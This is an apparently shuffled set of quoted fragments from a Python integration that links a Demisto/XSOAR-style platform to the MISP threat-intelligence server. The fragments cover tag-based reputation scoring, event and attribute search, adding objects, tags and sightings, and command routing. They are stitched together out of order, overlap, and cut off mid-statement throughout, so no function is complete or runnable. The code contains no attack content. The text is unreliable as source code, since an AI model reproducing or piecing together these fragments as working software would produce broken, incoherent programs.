{response}') else: human_readable", "= any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids)", "valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'):", "return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return", "= 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations'", "else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were", "'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id':", "output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting", "dict = {}, new_event: MISPEvent = None): \"\"\"Adding attribute to", "def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP domain-ip", "enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and", "object and set the event's details. \"\"\" event = MISPEvent()", "'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in", "'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email':", "depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [", "was found, then the score is Unknown so no events", "{key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]}", "timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict,", "demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not isinstance(args, list):", "build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes", ":= tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious:", "the given attribute value in MISP and then calculates it's", "the events that have the tag (i.e found_tag) which caused", "return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids =", "= copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events =", "if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type ==", "ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids',", "elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args))", "readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False):", "build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id =", "= None): \"\"\"Adding attribute to a given MISP event object", "= { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME", "== 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception", "attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0)", "url or file hash). dbot_type (str): Indicator type (file, url,", "attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data", "be a positive integer, please change the given: '{tag}' id.\")", "response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event)", "The indicator value (an IP address, email address, domain, url", "if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag}", "limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return", "outputs Args: obj: object to add to MISP event_id: ID", "build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object):", "= args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else", "def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag to", "API key is correct.') return_error(error) def warn(*args): \"\"\" Do nothing", "ids are the newer ones. Returns: response (dict): The parsed", "event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if", "readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def", "(i.e found_tag) which caused the indicator to be scored as", "0: raise DemistoException(\"limit should be zero or a positive number\")", "as described in https://github.com/MISP/misp-objects args: arguments to create the generic", "] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of", "return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file',", "and examples please see UT: test_extract_error. Args: error: list of", "outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id", "= argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args:", "- In case the same tag appears in both Malicious", "readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise", "\"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name')", "in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen',", "DemistoException( f'`attribute` parameter could not be decoded, may not a", "in UT: test_build_misp_complex_filter. For more information please see build_complex_query in", "have tags which configured as malicious will be scored 3", "command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args =", "return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in", "search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object we go", "args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if", "found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute':", "UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults:", "which includes tags list. found_tag (str): The tag that was", "in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for", "response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response", "generic object Returns: GenericObjectGenerator: object created in MISP Example: args", "elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args))", "if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please", "event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag", "event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response", "= attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable,", "from MISP's format to Demisto's (as appear in ENTITIESDICT) Args:", "that was scored as malicious or suspicious. If no tag", "Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if", "command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))", "key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in", "{'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name)", "given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\"", "and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute:", "for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict])", "f'Tag {tag} has been successfully added to attribute {uuid}' return", "human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.',", "if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output", "of the indicator. For the context data outputs, for every", "dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5':", "for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id", "in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the required", "\"\"\" Create a new MISP event object and set the", "set() found_related_events = {} if not attributes_list: return None for", "'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url':", "given UUID of event or attribute. is_attribute (bool): if the", "independence command or as part of another command (create event", "add to MISP event_id: ID of event \"\"\" response =", "if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'):", "attribute_dict (dict): The dictionary that includes the tag list. is_event_level", "build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for", "the command search-attributes in order to get the information about", "= {} if not attributes_list: return None for attribute in", "PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed", "add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP", "value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable):", "MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools", "[{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path})", "None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if", "= demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS", "formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute", "return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP", "as e: raise DemistoException( f'`attribute` parameter could not be decoded,", "MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info')", "in response_object] for i in range(0, len(events)): # Filter object", "err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error]", "event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event", "if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'),", "response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context)", "} MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment',", "Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp':", "MISP. \"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url", "2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json()", "demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator", "= { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP,", "if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event',", "'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None", "a positive integer, please change the given: '{tag}' id.\") def", "attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'):", "if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value", "Filter object from keys in event_args events[i] = {key: events[i].get(key)", "found in MISP: \\nError message: {response}') else: human_readable = f'Event", "in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids", "event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or", "User can use the command search-attributes in order to get", "it is set to 1 it says that it is", "\"\"\" return [{k: v} for k, v in args.items()] def", "tags. If so, the event will be added to related_events", "[] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies =", "the attribute_dict was received from an event object, meaning the", "in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event", "Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__', 'builtins']:", "demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment')", "import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent,", "try: args = json.loads(attributes) if not isinstance(args, list): args =", "return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search =", "may not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names):", "if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags'", "event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object']", "'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations =", "err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts", "tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in", "'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS", "# type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool,", "response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable =", "= {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit", "\"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))", "both Malicious tag ids and Suspicious tag ids lists the", "if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value}", "event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({", "to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred:", "return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command", "query or if no complex query found returns the original", "= args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if", "attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag", "limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids", "0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0':", "attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event", "valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise", "\"\"\" Execute a MISP search using the 'event' controller. \"\"\"", "obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name", "MISP and returning outputs Args: obj: object to add to", "are the newer ones. Returns: response (dict): The parsed outputs", "of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")]", "if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command ==", "[ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp',", "command (create event for example) Args: event_id (int): Event ID", "for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings", "the given limit) and by sub-functions calculated the score of", "to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type')", "ip). malicious_tag_ids (set): Tag ids should be recognised as malicious.", "event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc", "value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance", "0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to'", "response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object]", "events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return", "the response of attribute search returned from MISP to the", "# type: ignore from typing import Union, List, Dict from", "given UUID is an attribute's one. Otherwise it's event's. \"\"\"", "were detected as related to the tag. \"\"\" scored_events =", "\"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True)", "command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif", "'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object):", "if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) ->", "tag) # add the tag except PyMISPError: raise DemistoException(\"Adding the", "limit) and by sub-functions calculated the score of the indicator.", "MISP event_id: ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj)", "'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args)", "contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as", "{command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids)", "an example for a response in test_data/reputation_command_response.json Please see an", "build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size:", "of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults(", "elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args))", "= demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src',", "add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag to given", "in test_data/reputation_command_response.json Please see an example for a parsed output", "in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag", "all the attributes that found (after limit the attributes amount", "args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0", "found returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or", "in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id,", "event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids)", "url and publishing them to MISP urls with feeds for", "limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response =", "= get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in", "headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json'", "attributes that found (after limit the attributes amount to the", "errors raised by PYMISP into readable response, for more information", "'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted',", "= demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj =", "the events that were detected as related to the tag.", "required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args", "dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type", "'NOT:' using ',' as delimiter for parameters and ';' as", "found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can", "that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'}", "go over all the tags and search if found_tag is", "attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event", "1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only':", "GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip':", "'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict)", "NewConnectionError, ' 'Please make sure your MISP server url is", "'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id':", "== 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] =", "return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if", "that were detected as related to the tag. \"\"\" scored_events", "type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags", "dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\",", "# Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn", "no need in returning related event when searching for an", "dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\"", "raise DemistoException(\"Adding the required tag was failed. Please make sure", "be added to that existing event. \"\"\" attributes_args = {", "MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object", "g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict):", "== 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif", "if include_correlations: # return full related attributes only if the", "'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID", "response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response)", "order to get the information about the attributes. \"\"\" response_object", "Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return", "'Unknown': raise DemistoException('Invalid hash length, enter file hash of format", "outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored", "for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl,", "args: arguments to create the generic object Returns: GenericObjectGenerator: object", "str, obj: MISPObject): \"\"\"Sending object to MISP and returning outputs", "= arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl,", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args:", "= dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except", "'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting',", "reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score,", "returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or =", "attributes] def pagination_args_validation(page, limit): if page and page < 0:", "}) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a", "add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter", "the event will be added to related_events list Args: object_data_dict", "outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE,", "response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute,", "PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew attribute:", "[] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if", "Examples are available in UT: test_build_misp_complex_filter. For more information please", "dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path')", "attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type =", "'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event", "f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message +=", "'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value':", "Otherwise (if it is set to 0 or not exists)", "in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [", "event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects", "option.') if \"NewConnectionError\" in error: return_error('Unable to connect to MISP", "attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit <", "'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results(", "for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\"", "= [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies", "related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in", "list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot", "for the given attribute value in MISP and then calculates", "id) about all the events that include the indicator Please", "MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities':", "no tag was found, then the score is Unknown so", "else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution", "event's attribute tags ones as it is part of the", "event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event,", "controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew attribute: {value}", "'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url:", "return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create", "PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e:", "== 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command", "= {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in", "UT: test_extract_error. Args: error: list of responses from error section", "tags and galaxies lists. Eventually, the outputs will be a", "arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int", "outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}]", "\"\"\" Do nothing with warnings \"\"\" pass # Disable requests", "] def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised", "the tag (i.e found_tag) which caused the indicator to be", "Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags':", "once again\") new_event = response[0] # response[0] is MISP event", "'demisto_query' does not contains any of the complex operators the", "json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj =", "'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command ==", "' 'Please make sure the API key is correct.') return_error(error)", "'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID':", "'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 